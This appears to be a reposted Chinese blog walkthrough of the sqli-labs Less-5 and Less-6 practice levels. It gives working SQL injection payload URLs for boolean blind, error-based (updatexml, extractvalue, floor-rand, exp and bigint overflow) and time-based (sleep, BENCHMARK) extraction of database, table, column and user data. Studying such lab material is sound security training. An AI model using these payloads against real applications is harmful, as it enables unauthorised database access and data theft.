Background-2 盲注关卡 sqli-Labs Less5-Less-6

这篇具有很好参考价值的文章主要介绍了Background-2 盲注关卡 sqli-Labs Less5-Less-6。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

一、Less-5-less-6

一、利用left(database(),1)进行尝试

1.查看版本号

http://sqli-labs-master:8089/Less-5/?id=1’and left(version(),1)=5--+

说明:判断第一位的版本号是不是5,根据以下图像显示是5
Background-2 盲注关卡 sqli-Labs Less5-Less-6,SQL注入专题,less,数据库,oracle

2.查看数据库的长度

http://sqli-labs-master:8089/Less-5/?id=1'and
 length(database())=8--+

Background-2 盲注关卡 sqli-Labs Less5-Less-6,SQL注入专题,less,数据库,oracle

3.猜测数据库的第一位

http://sqli-labs-master:8089/Less-5/?id=1'and
 left(database(),1)>'a'--+

Background-2 盲注关卡 sqli-Labs Less5-Less-6,SQL注入专题,less,数据库,oracle
注:database()的数据库是security,所以第一位>’a‘的,在不知道的情况下可以采用二分法提高注入的效率。

二、利用substr(),ascii()函数进行尝试

ascii(substr((select table_name from information_schema.tables 

where table_schema=database() limit 0,1),1,1))=101--+

根据以上我们知道是security数据库,接下来获取数据库表

http://sqli-labs-master:8089/Less-5/?id =1 'and ascii(substr(select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)>80--+

只需把database()修改为security即可,逐渐破解表名。

http://sqli-labs-master:8089/Less-5/?id=1%27%20and%20ascii
(substr((select%20table_name%20from%20information_schema.
tables%20where%20table_schema=%27security%27%20limit%200,1),1,1))=101--+

测试第一个表名是email,e对应的ascii是101.
Background-2 盲注关卡 sqli-Labs Less5-Less-6,SQL注入专题,less,数据库,oracle
破解第二个字符只需使用substr(**,2,1)即可,接下来等等。

如何获取第二表呢?
已知第二个表是referers时,此时只需把limit 0,1,改成limit 1,1即可。
解释:
limit 0,1表示从首位开始获取第一个。
limit 1,1表示从首位的下一个获取第一个。
可理解为次序从0开始计数。

http://sqli-labs-master:8089/Less-5/?id=1%27%20and%20ascii(substr
((select%20table_name%20from%20information_schema.tables%20where%20
table_schema=%27security%27%20limit%20%201,1),1,1))=114--+

Background-2 盲注关卡 sqli-Labs Less5-Less-6,SQL注入专题,less,数据库,oracle

三、利用regexp()获取(2)中users表中的列

http://sqli-labs-master:8089/Less-5/?id=1' and 1=(select 1 from information_schema.columns where table_nmae='users' and column_name regexp ^'username' limit 0,1)--+

查询users表中是否有username的列

http://sqli-labs-master:8089/Less-5/?id=1%27%20
and%201=(select%201%20from%20information_schema.columns%20where%20
table_name=%27users%27%20and%20
column_name%20regexp%20%27^username%27%20limit%200,1)--+

Background-2 盲注关卡 sqli-Labs Less5-Less-6,SQL注入专题,less,数据库,oracle

四、利用ord(),mid函数获取users中的内容

cast()介绍:CAST函数用于将某种数据类型的表达式显式转换为另一种数据类型
 IFNULL函数是MySQL控制流函数之一,它接受两个参数,如果不是NULL,则返回
 第一个参数。 否则,IFNULL函数返回第二个参数。
http://sqli-labs-master:8089/Less-5/?id=1'and ord(mid((select ifnull(cast(username as char),0x20) from security.users order by id limit 0,1),1,1))=68--+

获取users表中的内容,获取username中的第一行的第一个的ascii码值,与68 比较为D,已知表中第一个Dumb
Background-2 盲注关卡 sqli-Labs Less5-Less-6,SQL注入专题,less,数据库,oracle

五、使用报错注入

http://localhost/Less-5/?id=1' union select 1,count(*),concat(0x30,(select user()),0x30,floor(rand(0)*2))a  from information_schema.columns group by a--+

Background-2 盲注关卡 sqli-Labs Less5-Less-6,SQL注入专题,less,数据库,oracle
利用 double 数值类型超出范围进行报错注入

http://localhost/Less-5/?id=1' union select (exp(~(select * from (select user())a))),2,3--+

利用 bigint 溢出进行报错注入

id=1 ' union select (!(select * from (select user())x)-~0),2,3--+

xpath 函数报错注入

id=1 'and extractvalue(1,concat(0x7e,(select @@version()),0x7e))--+

Background-2 盲注关卡 sqli-Labs Less5-Less-6,SQL注入专题,less,数据库,oracle

http://localhost/Less-5/?id=1%20%27and%20updatexml(1,concat(0x7e,(select%20@@version),0x7e),1)--+

Background-2 盲注关卡 sqli-Labs Less5-Less-6,SQL注入专题,less,数据库,oracle
利用数据的重复性

Background-2 盲注关卡 sqli-Labs Less5-Less-6,SQL注入专题,less,数据库,oracle

Background-2 盲注关卡 sqli-Labs Less5-Less-6,SQL注入专题,less,数据库,oracle

http://sqli-labs-master:8089/Less-5/?id =1'union select 1,2,3 from ( select NAME_CONST(version(),1),NAME_CONST(version(),1))x--+

Background-2 盲注关卡 sqli-Labs Less5-Less-6,SQL注入专题,less,数据库,oracle

六、延时注入

sleep函数的延时注入

http://sqli-labs-master:8089/Less-5/?id=1' and if(ascii(substr(database(),1,1)),1,sleep(5))--+

Background-2 盲注关卡 sqli-Labs Less5-Less-6,SQL注入专题,less,数据库,oracle

当有错误时会有5秒的延时注入

利用 BENCHMARK()进行延时注入

?id=1'UNION SELECT (IF(SUBSTRING(current,1,1)=CHAR(115),BEN
CHMARK(50000000,ENCODE('MSG','by 5 seconds')),null)),2,3 FROM (select database() as cur
rent) as tb1--+

Background-2 盲注关卡 sqli-Labs Less5-Less-6,SQL注入专题,less,数据库,oracle

当结果正确的时候,运行 ENCODE(‘MSG’,‘by 5 seconds’)操作 50000000 次,会占用一段时间

Less-6

将单引号换成即可。

总结

所谓常识,往往不过是时代的偏见。要超越这个时代的偏见,唯一的办法,就是阅读,阅读人类历史上最伟大的经典著作。没读过几百本经典,不足以谈独立思考。文章来源地址https://www.toymoban.com/news/detail-559854.html

到了这里,关于Background-2 盲注关卡 sqli-Labs Less5-Less-6的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • [网络安全]sqli-labs Less-24 解题详析

    本关考察二次排序注入 二次排序注入原理如下:当注册一个名为admin’#的用户后,再对其修改密码,SQL语句如下: 相当于: 从而以 admin\\\'# 为跳板,修改了管理员密码 操作如下: 注册admin’# 密码11 接着登录后修改密码为123 可以看到管理员密码已被修改: 接着我们就可以使

    2024年02月07日
    浏览(47)
  • 网络安全]sqli-labs Less-12 解题详析

    原理及姿势参考:[网络安全]SQL注入原理及常见攻击方法简析 本文使用到了updatexml函数,原理及姿势可参考:[网络安全]sqli-labs Less-5 解题详析 通过测试可知注入类型为双引号+括号注入 判断注入点个数 尝试可知注入点个数为2 库名为security 以上为[网络安全]sqli-labs Less-12 解题

    2024年02月07日
    浏览(45)
  • [网络安全]sqli-labs Less-25a 解题详析

    不同于25关的是sql语句中对于id没有单引号包含,同时没有输出错误项,故报错注入不能用。 有两种方式:延时注入和联合注入;本文采用联合注入。 具体过程不再详述,本文给出最终POC: 具体过程本文不再赘述,可移至本专栏相关文章:SQLiLabs靶场专栏

    2024年02月06日
    浏览(48)
  • sqli-labs通关详解

    找注入点,当输入id=1 and 1=2–+时没有变化,尝试单引号闭合找到注入类型 字符型注入,单引号闭合 判断字段数 找回显点 发现有两个回显点 开始信息收集(注意union前后格式要相同) 开始逐级爆破 爆破数据库 看源码或者尝试,没有闭合方式,说明为数字型注入 尝试找到注入

    2023年04月15日
    浏览(44)
  • SQLI-labs-第一关

    目录 知识点:单引号字符型注入 1、根据提示,为get注入,在url中输入内容​编辑  2、判断注入点  3、判断目前该表的字段数  4、判断回显位置 5、爆库名 6、爆表名   7、爆字段名  8、爆值 知识点:单引号字符型注入 思路: 1、根据提示,为get注入,在url中输入内容  

    2024年02月11日
    浏览(44)
  • sqli-labs靶场安装

      服务器环境:phpstudy   下载链接:https://www.xp.cn/   Sqlilabs靶场:sqlilabs   下载链接:https://github.com/Audi-1/sqli-labs   PhpStudy国内12年老牌公益软件,集安全,高效,功能与一体,已获得全球用户认可安装,运维也高效。 支持一键LAMP,LNMP,集群,监控,网站,FTP,数据库,J

    2023年04月13日
    浏览(86)
  • Sqli-Labs 通关笔记

    创建网站时选择php版本为5.x 修改./sql-connections/db-creds.inc 修改数据库用户名和密码,下面的数据库名不用管 任务目标:获取表名 Less-1 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入) sql查询语句为 SELECT * FROM users WHERE id=\\\'$id\\\' LIMIT 0,1 输入 ?id=-1\\\' ,报错语句为

    2023年04月20日
    浏览(40)
  • sqli-labs例题复现

    less-1.1 在源码中$id=$_GET[\\\'id\\\'];之后加入如下代码: 1.分析正则 第一个b匹配select单词边界,sS匹配到所有字符,最后一个b匹配到from单词边界。 select...from被过滤,失效。 2.科学计数法的引入 如果可以存在一个,可以加在from前面,不会影响语句执行,从而实现绕过正则

    2024年02月10日
    浏览(47)
  • sqli-labs靶场分析

    1、level1 单引号测试报错,为单引号闭合,且显示1多了个单引号故而为字符型注入。且未对用户输入进行任何过滤。 且SQL语句错误会输出,可以使用报错注入 order by判断表列数 uoion 联合查询,因为网页只显示第一张表的数据,因此需要union前的语句为假,查出数据为空,把位

    2024年02月07日
    浏览(50)
  • sqli-labs部分关思路

    目录 updatexml 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 25a 26 26a 27 27a 28 28a 问题:你了解sql注入吗 答:由于程序过滤不严谨,用户异常输入,这些输入会导致数据库异常查询,最终导致sql注入 mysql三种注释符: --+ # /**/ updatexml() 这个函数作用是替换数据,三个参数对应

    2024年02月09日
    浏览(42)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包